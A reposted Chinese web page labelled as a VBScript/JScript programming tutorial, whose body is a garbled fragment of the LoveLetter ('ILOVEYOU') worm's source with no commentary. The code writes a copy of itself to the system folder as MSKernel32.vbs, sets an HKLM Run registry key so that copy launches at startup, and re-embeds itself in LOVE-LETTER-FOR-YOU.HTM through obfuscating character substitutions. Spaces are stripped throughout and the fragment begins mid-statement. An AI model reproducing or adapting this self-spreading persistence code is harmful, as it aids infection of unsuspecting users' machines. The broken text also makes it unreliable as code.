vbscript，jscript脚本编程教学（1）
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf&_ "aw=1"&vbcrlf&_ "code=" dta2="setfso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "setdirsystem=fso.GetSpecialFolder(1)"&vbcrlf&_ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf&_ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf&_ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf&_ "setwri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf &_ "wri.writecode4"&vbcrlf&_ "wri.close"&vbcrlf&_ "if(fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@))then"&vbcrlf& _ "if(err.number=424)then"&vbcrlf&_ "aw=0"&vbcrlf&_ "endif"&vbcrlf&_ "if(aw=1)then"&vbcrlf&_ "document.write@-@ERROR:can#-#tinitializeActiveX@-@"&vbcrlf&_ "window.close"&vbcrlf&_ "endif"&vbcrlf&_ "endif"&vbcrlf&_ "Setregedit=CreateObject(@-@WScript.Shell@-@)"&vbcrlf&_ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v bs@-@"&vbcrlf&_ "?-??-?-->"&vbcrlf&_ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"''") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"''") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") setfso=CreateObject("Scripting.FileSystemObject") setc=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) forn=0toubound(lines) lines(n)=replace(lines(n),"''",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if(l1=n)then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf&_" endif next setb=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close setd=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.writedt5 d.writejoin(lines,vbcrlf) d.writevbcrlf d.writedt6 d.close endsub |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于vbscript，jscript脚本编程教学（1）的所有评论
